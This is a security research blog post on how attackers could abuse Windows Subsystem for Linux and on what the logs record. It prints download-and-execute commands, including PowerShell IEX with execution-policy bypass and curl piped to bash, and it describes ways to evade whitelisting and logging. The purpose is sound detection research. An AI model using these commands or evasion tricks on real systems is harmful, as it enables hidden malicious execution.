Implications of Windows Subsystem for Linux for Adversaries & Defenders (Part 1)

This post is the first of a multi-part blog series that will explore and highlight the different risks that Windows Subsystem for Linux (WSL) poses to an enterprise IT environment. Here we examine a new Microsoft feature for GNULinux that increases the attack surface and introduces a lot more complexity to detection.

About Windows Subsystem for Linux

Windows Subsystem for Linux (WSL) is a feature that allows Linux binaries to run on Windows without modification. WSL allows users to invoke processes in Linux from Windows and vice versa, access files across both the operating systems, share environment variables, and mix different commands together.

WSL has had two version releases with major architectural differences:

  • WSL1 uses a translation layer that implements Linux syscalls on top of the windows kernel. WSL1 achieves this via PICO processes and providers (lxss.sys and lxcore.sys). PICO processes are minimalistic and rely on a kernel mode driver to manage. Microsoft’s WSL Blog has published further details on the implications, motivations, and history of PICO processes.
  • WSL2 on the other hand uses a Virtual Machine to run the Linux kernel source code with the VM growing and shrinking dynamically based on usage.

WSL is still in its early days and Microsoft is actively developing it and introducing additional features. Recent updates have added GUI support for a fully integrated desktop experience.

The main goal of WSL is to allow users to use their favourite Linux tools while on Windows. The Qualys Research Team decided to shed some light on probable WSL abuse in the lifecycle of an attack.

Our Test Environment Design

Here’s how we set up our test environment. We used two Windows 10 virtual machines (version 20H2, build 19042) with one running WSL1 and the other WSL2. While you could run WSL1 and WSL2 together on the same machine, we separated them out for clarity in our logs. Our logging capability was PowerShell script block logs, command line process auditing, and System Monitor (Sysmon). Windows Defender Real Time Protection would mostly be left turned on, unless it blocked any tests.

How an Attacker Enables Windows Subsystem for Linux

Before we jump into actual threats, we should first understand how feasible WSL is as an attack vector. We will evaluate this based on how difficult it is for an attacker to install and or enable WSL. This will also help us determine at where in the attacker lifecycle will the techniques that abuse this threat fall.

Adversaries need elevated access to enable and install WSL. For WSL1 this can be achieved with the below command followed by a prompted reboot (see fig. 1):

Enable-WindowsOptionalFeature -Online -FeatureName Microsoft-Windows-Subsystem-Linux

Fig.1 WSL1 Installation

The adversary can then either import a distribution or install it from the Microsoft store. We will discuss this more a bit later. For now, we will install Ubuntu via the command:

wsl.exe –install -d Ubuntu

Fig.2 WSL1 Ubuntu installation and ls.

In a new window, we are prompted to set up a Linux user by entering a username and password. However, this is not explicitly required as seen in figure 2, so we can terminate that process and continue using the default root.

Since WSL2 uses virtualisation, adversaries need to first enable it via an elevated command:

dism.exe /online /enable-feature /featurename:VirtualMachinePlatform /all /norestart

As shown in figure 3, WSL2 can then be enabled via:

dism.exe /online /enable-feature /featurename:Microsoft-Windows-Subsystem-Linux /all /norestart

Fig.3 WSL2 Enabling WSL and Virtualisation

WSL can now be installed along with the default distribution (in this case, Ubuntu) via the command:

wsl.exe –install

The output of the command is shown in figure 4. It’s important to know that a reboot is required for WSL usage.

Fig.4 WSL2 Installation

Note: Some Virtual Machine utilities require you to enable additional settings to use virtualisation in the VM.

Based on the above information we can infer that enabling and installing WSL requires an adversary to already have a strong foothold on the victim machine. Therefore, these techniques fall into a post compromise scenario where the attacker either wants stealth or needs to introduce additional tools to expand access. But if WSL is already used in the victim environment, then these techniques would be employed during the initial phases of an attack.

Adversaries can check the WSL version and the distribution installed via the following command (fig. 5):

wsl.exe –list –verbose

Fig.5 Listing installed distributions

In the next section we will look at a TTP involving WSL.

Attack Tactics, Techniques & Procedures Using Windows Subsystem for Linux

This blog series examines several tactics, techniques and procedures (TTPs) that an attacker might employ leveraging Windows Subsystem for Linux. Here’s the first one, proxying execution.

TTP #1: Proxying Execution

WSL allows users several methods for interoperability with the host machine and vice versa:

  • The Linux filesystem can be accessed in Windows via the UNC path \wsl$<distroname>
  • From Linux, the Windows filesystem can be accessed via /mnt/c/
  • Linux commands from Windows can be called by passing the command as an argument to wsl.exe or to bash.exe
  • Windows processes can be called from Linux by using the binaries full path (/mnt/c…)
  • Alternately, if the binary is in the PATH environment variable, it can be directly referenced
  • Piping and redirection are also possible

Let’s see the data our testbed can collect with the help of some examples.

The first scenario we will examine is a simple PowerShell download and execution of the cmdlet Get-Date.

wsl powershell.exe "powershell -ep Bypass IEX((New-object System.net.Webclient).DownloadString('http://192.168.0.142:8000/date.txt'))"

Another variant of the above command uses the wsl -e / –exec flag (figure 6).

Fig.6 Sample output of script.

We see similar events captured for WSL1 and 2, whether the logs are Powershell (fig. 7), Sysmon (fig. 8), or captured by security audits (fig. 9).

Fig.7 Powershell logs for WSL2

Fig.8 Sysmon logs for WSL2

Fig.9 Audit logs for WSL2

The events collected show expected behaviour. However, WSL and bash are catalogue signed and thus can be used to bypass AWL or digital signature checks, as described by MITRE. Both wsl.exe and bash.exe have been identified as LOLBINS by the LOLBAS Project.

Now we will perform the same scenario via Linux commands. Here we are downloading the Linux shell command date and passing it to bash.

wsl.exe curl -s "http://192.168.0.142:8000/date2.txt" | bash

In figure 10, we see the following events captured for WSL2.

Fig.10 WSL2 audit logs for Linux commands

One interesting point to note is that the piped bash is missing. In fact, the only event that was logged was concerning bash process creation that had missing command line arguments (fig. 11).

Fig.11 WSL2 Audit logs for Linux commands

For Sysmon, we get the following details (fig. 12). Note that the command line for bash is bash.

Fig.12 WSL2 Sysmon logs for download.

Fig.13 WSL2 Sysmon logs for downloaded content’s execution.

Stitching together the exact flow of events is more difficult with these events. Piping and redirection always add complexity to command line detection.

As shown in figure 14, we get a more detailed view in the security logs when the same scenario is run on WSL1.

Fig.14 WSL1 Audit logs for Linux commands -1

Two interesting points to note about the event shown is that the command line was translated to bash -c and the creator process name is init.

In Sysmon, we get the following relevant events (figures 15, 16).

Fig.15 WSL1 Sysmon logs for download.

Fig.16 WSL1 Sysmon logs for downloaded content’s execution.

Interestingly, Sysmon logs show similar behaviour for the series of events for Linux for WSL1 and 2.

An important point to note: if the attacker uses an interactive WSL2 shell, we get no details of any Linux command or bash function runs. This is because the process is created inside the WSL2 virtual machine and Windows has visibility into it. This means that any malware written purely for WSL2 will be hard to detect.

On the other hand, we get the full command line details for WSL1 in audit logs. Aliases and symlinks could also be used to obscure actual command lines and bypass detection, as demonstrated in the series of figures 17, 18, and 19.

Fig.17 Execution of alias poke in WSL2

Fig.18 WSL launching notepad in WSL2

Fig.19 Details of alias poke

Aliases can be set either by using the alias command in Linux or by writing to the .bashrc file. This file can be found at ~/.bashrc and /home/<username>/.bashrc via Linux and wsl$home<username>.bashrc via Windows.

Aliases are translated and logged in WSL1 (fig. 20).

Fig.20 Alias execution in WSL1

Summary

From this analysis of TTP #1, proxying execution, we can draw four primary conclusions:

  1. Linux to Windows process execution is properly logged for both WSL1 and WSL2. However, it can be used to bypass AWL.
  2. WSL2 Windows to Linux process creation is slightly difficult to detect and piece together. No events are logged when an adversary uses an interactive WSL shell. Events can be muddled via aliases.
  3. WSL1 Windows to Linux events are properly logged.
  4. Defenders will need to account for malicious bash commands for detections based on process auditing.

Our next post in this blog series will examine additional Windows Subsystem for Linux TTPs as well as various threat hunting and system hardening methods that can help defend your enterprise against these threats.

This post was first first published on Qualys Security Blog’ website by Akshat Pradhan. You can view it by clicking here